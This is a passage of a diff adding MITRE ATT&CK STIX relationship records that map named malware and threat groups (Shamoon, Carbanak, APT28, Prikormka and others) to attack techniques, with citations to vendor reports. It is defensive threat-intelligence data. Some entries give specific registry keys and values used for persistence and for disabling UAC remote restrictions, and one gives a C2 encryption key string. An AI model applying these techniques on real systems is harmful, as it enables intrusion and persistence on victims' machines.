"relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "Once [Shamoon](https://attack.mitre.org/software/S0140) has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy to 1.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--af9347a3-00a9-4ece-b075-8c55bd4f4b9b", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + }, + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can download and execute an arbitary executable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c4cbbe25-bc29-406d-b92e-6e50ee4cd322", + "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--55df3b40-b130-4313-9064-6b0fc56564d0", + "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.", + "source_name": "Microsoft Win Defender Truvasys Sep 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a module that captures screenshots of the victim's desktop.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--290c4e3b-00be-411f-b0c8-919e85e08a49", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.660Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can use base64 encoded C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b9109cd5-1b13-4376-a761-b68302879351", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects information from the victim about Windows OS version, computer name, battery info, and physical memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7adaf2f3-52f2-40aa-b1ae-2fd2f05d9d56", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.674Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--61528841-379e-4fa3-a233-34c745764c18", + "source_ref": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae", + "modified": "2019-09-10T17:44:59.790Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) has obfuscated strings in [Bandook](https://attack.mitre.org/software/S0234) by base64 encoding, and then encrypting them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0c533013-a72e-4aef-bd19-8ea9ea415189", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.943Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--71daf1fe-a979-4cbc-bb0d-4e2d6c79274a", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.626Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) can gather information about TCP connection state.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ed561ab1-db94-4dbe-873b-d3e6cb488c4d", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft\u2019s TechNet Web portal to obtain an encoded tag containing the IP address of a command and control server and then communicates separately with that IP address for C2. If the C2 server is discovered or shut down, the threat actors can update the encoded IP address on TechNet to maintain control of the victims\u2019 machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--25ad5783-c7fe-4715-b4ce-c03b36ccdfa8", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "Some [Brave Prince](https://attack.mitre.org/software/S0252) variants have used South Korea's Daum email service to exfiltrate information, and later variants have posted the data to a web server via an HTTP post command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--28a113cd-efdc-49cf-b6d2-c967e11de751", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getInfoOSX function to return the OS X version as well as the current user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--31cd4eb1-f7b3-4030-b087-388d55faba03", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.338Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) can download additional payloads onto the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bff3220c-6fea-4925-a9d0-46f06efb7337", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "description": "[APT28](https://attack.mitre.org/groups/G0007) exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a358f0a9-b5b9-4a84-8c83-dc0a1325d63e", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.542Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 Hospitality Aug 2017", + "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html" + }, + { + "description": "Microsoft. (2017, March 14). Microsoft Security Bulletin MS17-010 - Critical. Retrieved August 17, 2017.", + "source_name": "MS17-010 March 2017", + "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) encrypts data using Base64 before being sent to the command and control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7ee9b1ad-7f7b-4ae7-8cf4-8ab97b6a74b8", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) injects into the Internet Explorer process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--95ed1db5-c388-4b1b-9824-9703b248f798", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9edfa8b5-2e9f-4022-93b2-fd819156fe95", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "modified": "2019-10-07T18:49:09.864Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "source_name": "Microsoft BITSAdmin", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) uses rundll32.exe in a Registry value added to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b3877b02-98e4-4c4a-8034-5af9f1e65c2c", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) downloads an executable and injects it directly into a new process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5950182b-4e27-4d5e-87bb-c8598314622c", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[schtasks](https://attack.mitre.org/software/S0111) is used to schedule tasks on a Windows system to run at a specific date and time.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--eeeac3c6-78d1-4506-a9a9-2518d0c6e500", + "source_ref": "tool--c9703cd3-141c-43a0-a926-380082be5d04", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", + "source_name": "TechNet Schtasks", + "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[RARSTONE](https://attack.mitre.org/software/S0055) downloads its backdoor component from a C2 server and loads it directly into memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4bf364ad-1e9c-4860-93c0-241da4c81068", + "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.", + "source_name": "Aquino RARSTONE", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) launches a DLL file that gets executed as a service using svchost.exe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1ff2fa07-f8ce-41b3-9cc2-907c838163ec", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.289Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) hides base64-encoded and encrypted C2 server locations in comments on legitimate websites.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--b3a9c32f-c6d0-46d4-8936-dd4fec61d305", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "source_name": "Securelist Dropping Elephant", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0e630f6b-8662-4ffe-b666-709e17aad69f", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "description": "[RTM](https://attack.mitre.org/software/S0148) can add a certificate to the Windows store.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--af74c0ec-0bbe-4538-a3a3-1e967afd3d51", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", + "description": "Some variants of [Cherry Picker](https://attack.mitre.org/software/S0107) use AppInit_DLLs to achieve persistence by creating the following Registry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows \"AppInit_DLLs\"=\"pserver32.dll\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cb4af413-9bd7-4f1a-a693-57d11ffccbf5", + "source_ref": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "source_name": "Trustwave Cherry Picker", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) gathers system information, network addresses, disk type, disk free space, and the operation system version.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--55de5c21-4cb1-4235-89b5-df77dfc7fa90", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + }, + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) checks its parent process for indications that it is running in a sandbox setup.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d878a055-0053-45a9-a724-52f59e0486c7", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.506Z", + "object_marking_refs": [ + 